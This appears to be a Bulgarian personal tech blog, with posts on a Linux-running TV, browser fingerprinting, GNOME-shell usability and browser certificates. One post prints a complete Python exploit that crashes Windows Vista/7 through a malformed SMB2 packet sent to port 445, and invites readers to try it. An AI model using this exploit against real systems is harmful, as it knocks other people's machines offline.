Телевизор с Линукс

31 01 2010

Открих още едно потвърждение на съмнението ми, че телевизорът ми има Линукс в него:

sudo nmap -O 192.168.1.3
Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-31 19:59 EET
Interesting ports on 192.168.1.3:
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:XX:XX:XX:XX:XX (N.V. Philips Industrial Activities)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.28
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.39 seconds

Питам се защо на сайта на Philips не пише за това и от никъде не мога да си сваля кода.
Допълнение
Изглежда не съм само аз: http://www.neophob.com/serendipity/index.php?/archives/182-Root-my-TV-Hack-Philips-PFL9703.html



Идентификация в уеб без бисквитки

30 01 2010

Обикновено се счита, че идентифицирането на потребители в уеб пространството става или с cookie, или със super-cookie (флаш бисквитките, за които вече съм писал). От EFF обаче са установили, че дори без въобще да се използват бисквитки, потребителите могат доста добре да бъдат идентифицирани благодарение на идентификацията на браузера, която включва версията му, версията на операционната система, инсталираните плъгини, шрифтове, времева зона и резолюция на екрана. Вие можете да тествате браузера си на сайта Panopticlick.



GNOME-shell, Zeitgeist и някои други работи

2 11 2009

След като съм с новата версия на Ubuntu, която включва пакети за GNOME-shell, проекто-интерфейса на GNOME3 (би трябвало GNOME 2.30=GNOME 3.0) реших да го пробвам. Което само по себе си не е съвсем тривиално. Не се добавя никъде в менютата, и се пробвах да го пусна през Deskbar-а, но не тръгна, макар че очевидно има такъв бинарен файл. Като стигнах да пробвам от конзола разбрах, че трябва да изпълня gnome-shell --replace. Което доведе до отчайващо тромав шел. След известно четене установих, че всъщност трябва да спра compiz-а преди това. След като го пуснах отново установих, че
1. няма никакъв Alt-tab, макар навсякъде да пише, че отскоро работи
2. Нямам никакъв sidebar.
Превключването между активните приложения с Alt-tab така и не накарах да работи, а sidebar-а се оказа, че трябва да бъде пуснат като отида в горния десен ъгъл на екрана, щракна на потребителското си име и оттам избера Sidebar отметката.
Добре, вече съм го докарал до това, което обясняват по блогове и статии.
Констатации:
1. Анимацията е ужасно бавна
2. За да пусна което и да е приложение трябва да отида в горния ляв ъгъл на екрана, което ще ми изкара меню на цял екран – т.е. променя се всичко на екрана, за да се появи страничното меню, от което без допълнителни усилия мога да избера само измежду най-често използваните приложения. Ако искам да стартирам друго приложение, трябва да избера Applications – More – категорията, в която е приложението, което търся – приложението, което търся. И това е само ако то е на първа страница, иначе трябва не да скролирам като всяко друго меню, а да избера отдолу единствения символ за номер на страница.
3. Отсъстват всякакви настройки. Те били лоши и разработчиците знаели кое е най-добро за потребителите, което е едно за всички и ако потребителите не са съгласни, значи просто не разбират какво е добро за тях, а ако настояват, че не разбират, значи са гадни антипродуктивни тролове. Звучи точно като “Instead of giving you the illusion of choice, I will choose for you”. Липсата на настройки означава, че не можете дори да смените цвета на проклетото нещо. Щото черното е вечерно и вечно модерно.
4. Горната лента съдържа името на текущо активния прозорец, което се съдържа и в заглавната лента на текущия прозорец. Разхищение на място.
5. Въпреки че много се говори за интеракцията между потребителите, empathy и т.н. няма никакъв списък с контакти, с които да можеш да си говориш, пишеш, взаимодействаш.
6. При отваряне на activities горе под лентата и най-долу има пространство, което не е никак малко и което е напълно неизползвано
7. Календар – в средата на горната лента стои един календар, който не показва датата и е доста по-ограничен от текущия календар – няма местоположение, няма метеорологично време
8. В горния десен ъгъл съществуват статус икони, но те не покриват текущо наличната функционалност. Превключване на езики? Няма. Заряд на батериите? Няма. Сила на WiFi сигнала? Няма. Активност на процесора, на мрежата? Няма.
9. В режим на отворени Activities иконите на често използваните приложения, което е най-близкото до лентата със задачи (task list) индикацията дали приложението е стартирано или не е ужасна. Някаква крива нецентрирана светеща елипса зад текста под иконата, който пък текст за почти всички приложения не е пълен и е заместен от многоточие. Evoluti…, OpenO…, Firefox…, Liferea…, Trans…
10. Drag and Drop-а между приложенията е на практика невъзможен в този режим.
11. За да се добави приложение във Favourites, то трябва да е активно и да се щракне върху иконата му в Activities , и то само ако не е минимизирано, иначе въобще не се вижда в Activities.
Идеи по темата:
Категориите на Activities менюто са: Applications, Places, Recent Documents.
1. Да се добави категория People с контакти, нещо подобно на отпадналия High5.
2. Като се отвори това меню, очевидно искам да правя нещо с една от трите категории, не с трите, то и без това няма и начин. Следователно като отида с курсора върху дадена категория тя трябва да се разширява и да остава само тя.
3. За категорията Applications трябва да има подгрупа за всяка категория приложения, които да се незабавно видими без допълнително щракане. Т.е. Като се отвори Applications да се виждат да кажем трите най-често използвани приложения от Graphics, Multimedia, Office, Games, Internet и т.н.
4. При страничния панел ако се мине с курсора върху recent Documents, се отварят четирите последно използвани документи, но това не важи за останалите части от панела. Би било хубаво да се отварят по същия начин само с hover, а не да се щрака бутона >>, защото е инконсистентно. Сега Recent Documents се отварят с преминаване на курсора над тях, а часовникът и често използваните приложения от този бутон.
5. Alt-Tab е линеен, но при много отворени приложения и липса на друг интерфейс за смяна на приложението (отваряне на Activities прозореца и после или избиране на умаленото изображение на търсеното приложение от умалените работни места вдясно или ако приложението е често използвано чрез щракане върху иконата му в Applications не ги броя, защото отнемат прекалено много време) това е доста неудобно, защото потребителят трябва да превърта пре n-найсет икони. Може би радиално меню ще е по-смислено и по-пестеливо като изминат път с мишката.
Изводи – само много малка част от изброените проблеми са заради ранната версия. Тоест не само в настоящото състояние, но и в настоящата посока на развитие GNOME-shell е антипродуктивно и анти-интуитивно.



Сертификати в Epiphany и Firefox

2 11 2009

От няколко дни съм с новото Ubuntu Karmic Koala. Тъй като тя е с Gnome 2.28, се оказа, че използвания от мен браузер Epiphany вече не е с рендериращия механизъм на Mozilla (Gecko), а с WebKit(Google Chrome). Всички разработчици бяха много развълнувани от миграцията, защото видиш ли WebKit бил супер. Само че се оказа, че Epiphany въобще не е довършен/изпипан. Първо открих тривиални неща като Download link въобще не отваря диалог и директно сваля на работния плот, Save As на изображение отваря диалог, но текстовото поле с името е празно и други такива нещица (нанайси пароли от старата версия запазени). Но днес опитвайки се да платя в Epay се оказа, че сертификатите леко ги няма. Бе направо тежко си ги няма. Рових се и открих менюто Manage Certificates. Много хубаво, ама като го избереш и не се случва нищо. Затаяваш дъх и нищо. Е как бе !@#$%^ може да пуснеш като готова версия в сума си дистрибуции приложение, на което една от функциите на менюто не прави нищо? Няма съобщение, няма прозорец, няма диалог, няма нищо. Nada. Nichts. Nothing. Ничево.
Реших, че ще вадя нов сертификат. Само че за да мога да го направя, трябва да ходя до банкомат, което е логично разбира се, ама ми се искаше да си го спестя. Накрая след още четене успях да разбера как да мигрирам сертификатите във Firefox, който очевидно ще е браузерът, който ползвам в кармичната коала. Мигрирането е просто като разбереш какво трябва да направиш: В потребителската директория намираш .gnome2/epiphany/mozilla/epiphany и копираш файловете cert8.db и key3.db в директория /home/felipe/.mozilla/firefox/НЕЩОТО.default, където НЕЩОТО е произволно генерирано име на директория от firefox и няма как да не я познаете, би трябвало да е само една.
Та да довърша с оплакването от Epiphany – документацията никаква я няма, сайтът им е обновяван последно миналата година, така че смятам отношението им супер несериозно и защо всички са толкова щастливи, че се отървават от Mozilla не зная. В смисъл ако новата версия имаше същата функционалност и нямаше такива очевидни бъгове – окей, ама така недоопечена да ти я дават като браузер по подразбиране е малко грубо.



Носталгия по синия екран

9 09 2009

BSOD или синия екран, както му казваме тук беше неизменна част от работата с Windows 98. Спомням си с умиление доброто старо време, когато можеше да пуснеш ping от един компютър и да забиеш съседния. И в които времето за разбиване на парола на споделените папки беше линейно спрямо дължината. Ако и на вас ви липсва това време – не се притеснявайте, можете да забиете Vista или Windows 7 почти толкова лесно – благодарение на тази уязвимост.
Ето ви кода, както сработи при мен на Убунту – с резултат мигновено рестартиране на вистата:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
import socket
host = "192.168.1.7", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket.socket()
s.connect(host)
s.send(buff)
s.close()



Обогатена реалност

23 08 2009

Писал съм вече за обогатената/разширена/добавена реалност. Напоследък чета доста новини за приложенията на тази технология, предимно в устройства, които се държат в ръка (iPhone и други такива умни устройства, защото имат GPS, компас, камера от едната страна и екран от другата). Вчера в този магазин “Молът” си купих по препоръка на Краси списание “Обекти”, което е доста прилично списание за наука и технологии. И не щеш ли едната от статиите е за въпросната добавена реалност. Но това, което ме впечатли е, че ако заредите този сайт и покажете маркера от статията на уеб-камерата, свързана към компютъра, на който сте отворили сайта, ще можете да го пробвате и сами. Кефя се като малко дете! Супер готина игра. А си мислех, че ще минат години, преди да държа нещо такова в ръката си.
Допълнение: На самия сайт го има маркера, който иска да пробва, може да си го разпечата оттам.



Геотагнати снимки на карта със свободен софтуер

21 07 2009

Разглеждайки за нови готини неща за GNOME попаднах на нещо, което искам да видя много отдавна. Мога да geotag-вам снимки, но ми се ще да ги виждам на карта и за целта да не трябва да ползвам google, yahoo или нещо подобно.
Оказва се, че има експериментален плъгин за eye of gnome – програмата по подразбиране за преглеждане на изображения в GNOME, който прави точно това. Използва libchamplain за да покаже на карта от openstreetmap къде е направена снимката.
За да го пробвате и вие, ето как го направих аз в Ubuntu:
Свалете libchamplain-0.2.10.tar.gz и libchamplain-gtk-0.2.9.tar.gz, минете през ./configure && make и sudo make install, свалете кода на плъгина с
svn checkout svn://svn.gnome.org/svn/eog-plugins
, свалете и другите зависимости и след това компилирайте с
./autogen.sh --prefix=$HOME/.gnome2/
отидете в директорията /trunc/plugins/champlain и копирайте champlain.eog-plugin и ./libs/libchamplain.so в /usr/lib/eog/plugins
След това пуснете eog, отидете в настройките и активирайте плъгина.



Аррррр, пирати, време е да се напуска залива

1 07 2009

От пиратския залив потвърдиха, че се продават на източно-индийската компания, тъй че време е да отплаваме и да търсим друго пристанище.
Очаквам технически обосновани идеи за следващото нещо.
Моите мисли са в посока на trackerless сийдване чрез имплементация на PEX (Peer Exchange) в IM клиент. Така се формира darknet (F2F) между хора, които се познават и си имат някакво доверие, но не е задължително да знаят, че ползват торенти и да свалят едни и същи файлове от едни и същи тракери, за да си обменят други peer-и през стандартната имплементация на PEX в торент клиентите.



Dynamic wallpaper

29 04 2009

С новата версия домашният ми проект за динамично генериране на тапет в зависимост от метеорологичното време, сезона, времето и фазата на луната излезе на открито – в sourceforge.net
Версията е ранна и има много работа по него, но тъй като идеята ми се струва добра реших да го покажа на общността, пък дано някой реши да помогне. След публикуването на проекта в gnomefiles броят на изтеглянията се увеличи драстично. Има вече коментар и доклад за грешка.
Проектът се нуждае от помощ. Ако на някой му се занимава със създаване на теми във векторен SVG формат или смята, че може да се справи с merger-а на SVG-та, написан на Python, моля нека пише.



MS пропаганда

21 04 2009

Като директен отговор на възмущението на Члена от Линукс-пропагандата аз пък се възмущавам от следното:
Кевин Търнър, COO на MS е казал, че Vista today, post-Service Pack 2, which is now in the marketplace, is the safest, most reliable OS we’ve ever built. It’s also the most secure OS on the planet, including Linux and open source and Apple Leopard. It’s the safest and most secure OS on the planet today.